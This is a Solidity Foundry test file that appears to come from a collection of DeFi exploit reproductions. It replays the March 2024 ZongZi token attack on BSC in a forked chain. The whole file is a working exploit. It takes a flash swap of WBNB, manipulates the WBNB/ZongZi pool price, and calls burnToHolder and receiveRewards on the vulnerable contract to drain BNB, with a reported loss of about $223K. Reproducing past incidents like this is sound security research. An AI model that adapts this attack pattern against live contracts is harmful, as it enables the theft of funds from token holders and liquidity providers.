src/test/2024-03/ZongZi_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$223K
8// Attacker : https://bscscan.com/address/0x2c42824ef89d6efa7847d3997266b62599560a26
9// Attack Contract : https://bscscan.com/address/0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a9
10// Vuln Contract : https://bscscan.com/address/0xb7a254237e05ccca0a756f75fb78ab2df222911b
11// Attack txs : https://app.blocksec.com/explorer/tx/bsc/0x247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f
12 
13// @Analysis
14 
15 
16interface IZZF is IERC20 {
17    function burnToHolder(uint256 amount, address _invitation) external;
18 
19    function receiveRewards(
20        address to
21    ) external;
22}
23 
24contract ContractTest is Test {
25    IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
26    IERC20 private constant ZongZi = IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);
27    Uni_Pair_V2 private constant BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
28    Uni_Pair_V2 private constant WBNB_ZONGZI = Uni_Pair_V2(0xD695C08a4c3B9FC646457aD6b0DC0A3b8f1219fe);
29    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
30    address private constant attackContract = 0x0bd0D9BA4f52dB225B265c3Cffa7bc4a418D22A9;
31    bytes32 private constant attackTx = hex"247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f";
32 
33    function setUp() public {
34        vm.createSelectFork("bsc", attackTx);
35        vm.label(address(WBNB), "WBNB");
36        vm.label(address(ZongZi), "ZongZi");
37        vm.label(address(BUSDT_WBNB), "BUSDT_WBNB");
38        vm.label(address(WBNB_ZONGZI), "WBNB_ZONGZI");
39        vm.label(address(Router), "Router");
40    }
41 
42    function testExploit() public {
43        emit log_named_decimal_uint("Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
44 
45        uint256 pairWBNBBalance = WBNB.balanceOf(address(WBNB_ZONGZI));
46        uint256 multiplier = uint256(vm.load(attackContract, bytes32(uint256(9))));
47 
48        uint256 amount1Out = (pairWBNBBalance * multiplier) / ((pairWBNBBalance * 100) / address(ZongZi).balance);
49 
50        BUSDT_WBNB.swap(0, amount1Out, address(this), abi.encode(uint8(1)));
51 
52        emit log_named_decimal_uint("Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), 18);
53    }
54 
55    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
56        Helper helper = new Helper();
57        WBNB.transfer(address(helper), _amount1);
58        helper.exploit();
59 
60        ZongZi.approve(address(Router), type(uint256).max);
61        address[] memory path = new address[](2);
62        path[0] = address(ZongZi);
63        path[1] = address(WBNB);
64 
65        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
66            ZongZi.balanceOf(address(this)), 0, path, address(this), block.timestamp + 86_400
67        );
68        WBNB.transfer(address(BUSDT_WBNB), (_amount1 * 10_026) / 10_000);
69    }
70}
71 
72contract Helper {
73    IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
74    IERC20 private constant ZongZi = IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);
75    IZZF private constant ZZF = IZZF(0xB7a254237E05cccA0a756f75FB78Ab2Df222911b);
76    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
77 
78    function exploit() external {
79        WBNB.approve(address(Router), type(uint256).max);
80        ZongZi.approve(address(Router), type(uint256).max);
81        uint256 balanceBeforeWBNB = WBNB.balanceOf(address(this));
82 
83        makeSwap(1e17, address(WBNB), address(ZongZi));
84        makeSwap(ZongZi.balanceOf(address(this)), address(ZongZi), address(WBNB));
85 
86        uint256 amountIn = balanceBeforeWBNB - 1e17;
87        makeSwap(amountIn, address(WBNB), address(ZongZi));
88 
89        uint256 amountOut = address(ZongZi).balance - 1e9;
90        address[] memory path = new address[](2);
91        path[0] = address(ZongZi);
92        path[1] = address(WBNB);
93        uint256[] memory amounts = Router.getAmountsIn(amountOut, path);
94 
95        ZZF.burnToHolder(amounts[0], msg.sender);
96        ZZF.receiveRewards(address(this));
97 
98        makeSwap(ZongZi.balanceOf(address(this)), address(ZongZi), address(WBNB));
99 
100        WBNB.deposit{value: address(this).balance}();
101        WBNB.transfer(msg.sender, WBNB.balanceOf(address(this)));
102    }
103 
104    function makeSwap(uint256 amountIn, address tokenA, address tokenB) private {
105        address[] memory path = new address[](2);
106        path[0] = tokenA;
107        path[1] = tokenB;
108 
109        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
110            amountIn, 0, path, address(this), block.timestamp + 86_400
111        );
112    }
113 
114    receive() external payable {}
115}